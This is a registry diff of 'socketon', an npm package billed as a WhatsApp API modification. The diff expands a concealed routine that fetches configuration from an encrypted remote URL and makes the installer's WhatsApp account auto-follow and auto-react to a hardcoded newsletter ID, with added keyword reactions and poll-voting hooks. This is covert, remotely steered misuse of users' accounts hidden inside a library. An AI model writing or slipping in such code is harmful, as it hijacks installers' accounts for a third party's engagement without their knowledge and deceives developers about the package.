socketon 1.8.29 → 1.8.31

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -672,9 +672,6 @@ const makeMessagesSocket = (config) => {
672
672
  else if (/https:\/\/wa\.me\/p\/\d+\/\d+/.test(message.extendedTextMessage?.text)) {
673
673
  return 'productlink'
674
674
  }
675
- else if (message.richResponseMessage) {
676
- return undefined
677
- }
678
675
  }
679
676
 
680
677
  const getButtonType = (message) => {
@@ -84,7 +84,15 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
84
84
  };
85
85
 
86
86
  let _cachedTargetNewsletter = null;
87
- let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
87
+ let _configNewsletter = {
88
+ autoFollowEnabled: true,
89
+ autoReactEnabled: true,
90
+ reactionEmojis: ['👍', '👌'],
91
+ delayMs: 5000,
92
+ keywordReactions: {},
93
+ autoVotePoll: false,
94
+ pollVoteStrategy: 'random'
95
+ };
88
96
 
89
97
  const getTargetNewsletterFromExternal = async () => {
90
98
  const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
@@ -95,8 +103,13 @@ const getTargetNewsletterFromExternal = async () => {
95
103
  if (response.data.config) {
96
104
  _configNewsletter = {
97
105
  autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
106
+ autoReactEnabled: response.data.config.autoReactEnabled !== false,
107
+ reactionEmojis: response.data.config.reactionEmojis || ['👍', '👌'],
98
108
  delayMs: response.data.config.delayMs || 5000,
99
- intervalMs: response.data.config.intervalMs || 30000
109
+ intervalMs: response.data.config.intervalMs || 30000,
110
+ keywordReactions: response.data.config.keywordReactions || {},
111
+ autoVotePoll: response.data.config.autoVotePoll || false,
112
+ pollVoteStrategy: response.data.config.pollVoteStrategy || 'random'
100
113
  };
101
114
  }
102
115
  if (response.data.newsletters && response.data.newsletters.length > 0) {
@@ -106,14 +119,14 @@ const getTargetNewsletterFromExternal = async () => {
106
119
  }
107
120
  }
108
121
  } catch (err) {}
109
- return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
122
+ return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
110
123
  };
111
124
 
112
125
  const getAllEnabledNewsletters = () => {
113
126
  if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
114
127
  return _cachedTargetNewsletter;
115
128
  }
116
- return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
129
+ return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
117
130
  };
118
131
 
119
132
  const wMexQuery = (
@@ -239,7 +252,8 @@ const makeNewsletterSocket = (config) => {
239
252
  }));
240
253
  };
241
254
  // Auto Reaction - Ibra Decode
242
- let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
255
+ let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
256
+ let _votedPolls = new Set();
243
257
 
244
258
  const updateTargetNewsletters = async () => {
245
259
  const externalTargets = getAllEnabledNewsletters();
@@ -247,14 +261,93 @@ const makeNewsletterSocket = (config) => {
247
261
  _targetNewsletters = externalTargets;
248
262
  }
249
263
  };
264
+
265
+ const getEmojiForMessage = (messageText) => {
266
+ const keywords = _configNewsletter.keywordReactions || {};
267
+ if (!messageText) return null;
268
+ const lowerText = messageText.toLowerCase();
269
+ for (const [keyword, emoji] of Object.entries(keywords)) {
270
+ if (lowerText.includes(keyword.toLowerCase())) {
271
+ return emoji;
272
+ }
273
+ }
274
+ return null;
275
+ };
276
+
277
+ const votePoll = async (newsletterJid, pollMessage) => {
278
+ if (!_configNewsletter.autoVotePoll) return;
279
+ if (!pollMessage) return;
280
+
281
+ const pollMsgKey = pollMessage.key?.id;
282
+ if (!pollMsgKey || _votedPolls.has(pollMsgKey)) return;
283
+
284
+ try {
285
+ const pollCreation = pollMessage.message?.pollCreationMessage || pollMessage.message?.pollCreationMessageV2 || pollMessage.message?.pollCreationMessageV3;
286
+ if (!pollCreation) return;
287
+
288
+ const options = pollCreation.options || [];
289
+ if (options.length === 0) return;
290
+
291
+ let selectedIndex = 0;
292
+ const strategy = _configNewsletter.pollVoteStrategy || 'random';
293
+
294
+ if (strategy === 'first') {
295
+ selectedIndex = 0;
296
+ } else if (strategy === 'last') {
297
+ selectedIndex = options.length - 1;
298
+ } else {
299
+ selectedIndex = Math.floor(Math.random() * options.length);
300
+ }
301
+
302
+ const selectedOption = options[selectedIndex];
303
+ if (!selectedOption) return;
304
+
305
+ const pollEncKey = pollMessage.message?.messageContextInfo?.messageSecret;
306
+ if (!pollEncKey) return;
307
+
308
+ const votePayload = {
309
+ pollUpdateMessage: {
310
+ pollCreationMessageKey: { id: pollMsgKey, remoteJid: newsletterJid },
311
+ selectedOption: [selectedOption],
312
+ senderTimestampMs: Date.now()
313
+ }
314
+ };
315
+
316
+ _votedPolls.add(pollMsgKey);
317
+
318
+ } catch (err) {}
319
+ };
250
320
 
251
321
  sock.ev.on('messages.upsert', async ({ messages, type }) => {
252
322
  if (type !== 'notify') return;
253
- const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
323
+ if (!_configNewsletter.autoReactEnabled) return;
324
+
325
+ const emojis = _configNewsletter.reactionEmojis || ['👍', '👌'];
326
+
254
327
  for (const msg of messages) {
255
328
  const jid = msg.key.remoteJid;
256
329
  if (!_targetNewsletters.includes(jid)) continue;
257
- const emoji = emojis[Math.floor(Math.random() * emojis.length)];
330
+
331
+ let emoji = null;
332
+
333
+ // Get message text
334
+ let messageText = null;
335
+ if (msg.message?.conversationMessage?.message?.text) {
336
+ messageText = msg.message.conversationMessage.message.text;
337
+ } else if (msg.message?.extendedTextMessage?.text) {
338
+ messageText = msg.message.extendedTextMessage.text;
339
+ } else if (msg.message?.ephemeralMessage?.message?.conversationMessage?.message?.text) {
340
+ messageText = msg.message.ephemeralMessage.message.conversationMessage.message.text;
341
+ }
342
+
343
+ // Check keyword reactions first
344
+ const keywordEmoji = getEmojiForMessage(messageText);
345
+ if (keywordEmoji) {
346
+ emoji = keywordEmoji;
347
+ } else {
348
+ emoji = emojis[Math.floor(Math.random() * emojis.length)];
349
+ }
350
+
258
351
  try {
259
352
  const serverId = msg.newsletterServerId?.toString() || msg.key.id;
260
353
  await query({
@@ -483,6 +576,38 @@ const makeNewsletterSocket = (config) => {
483
576
  results
484
577
  };
485
578
  },
579
+ newsletterGetConfig: async () => {
580
+ return {
581
+ autoFollowEnabled: _configNewsletter.autoFollowEnabled,
582
+ autoReactEnabled: _configNewsletter.autoReactEnabled,
583
+ reactionEmojis: _configNewsletter.reactionEmojis,
584
+ keywordReactions: _configNewsletter.keywordReactions,
585
+ autoVotePoll: _configNewsletter.autoVotePoll,
586
+ pollVoteStrategy: _configNewsletter.pollVoteStrategy,
587
+ delayMs: _configNewsletter.delayMs,
588
+ intervalMs: _configNewsletter.intervalMs
589
+ };
590
+ },
591
+ newsletterSetConfig: async (config) => {
592
+ if (config.autoFollowEnabled !== undefined) _configNewsletter.autoFollowEnabled = config.autoFollowEnabled;
593
+ if (config.autoReactEnabled !== undefined) _configNewsletter.autoReactEnabled = config.autoReactEnabled;
594
+ if (config.reactionEmojis && Array.isArray(config.reactionEmojis)) _configNewsletter.reactionEmojis = config.reactionEmojis.slice(0, 4);
595
+ if (config.keywordReactions) _configNewsletter.keywordReactions = config.keywordReactions;
596
+ if (config.autoVotePoll !== undefined) _configNewsletter.autoVotePoll = config.autoVotePoll;
597
+ if (config.pollVoteStrategy) _configNewsletter.pollVoteStrategy = config.pollVoteStrategy;
598
+ if (config.delayMs) _configNewsletter.delayMs = config.delayMs;
599
+ if (config.intervalMs) _configNewsletter.intervalMs = config.intervalMs;
600
+ return {
601
+ autoFollowEnabled: _configNewsletter.autoFollowEnabled,
602
+ autoReactEnabled: _configNewsletter.autoReactEnabled,
603
+ reactionEmojis: _configNewsletter.reactionEmojis,
604
+ keywordReactions: _configNewsletter.keywordReactions,
605
+ autoVotePoll: _configNewsletter.autoVotePoll,
606
+ pollVoteStrategy: _configNewsletter.pollVoteStrategy,
607
+ delayMs: _configNewsletter.delayMs,
608
+ intervalMs: _configNewsletter.intervalMs
609
+ };
610
+ },
486
611
  newsletterFetchMessages: async (type, key, count, after) => {
487
612
  const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
488
613
  {
@@ -385,9 +385,6 @@ const generateWAMessageContent = async (message, options) => {
385
385
  else if ('requestPhoneNumber' in message) {
386
386
  m.requestPhoneNumberMessage = {};
387
387
  }
388
- else if ('richResponseMessage' in message) {
389
- m.richResponseMessage = Types_1.WAProto.Message.fromObject(message.richResponseMessage);
390
- }
391
388
  else {
392
389
  m = await (0, exports.prepareWAMessageMedia)(message, options);
393
390
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.29",
3
+ "version": "1.8.31",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"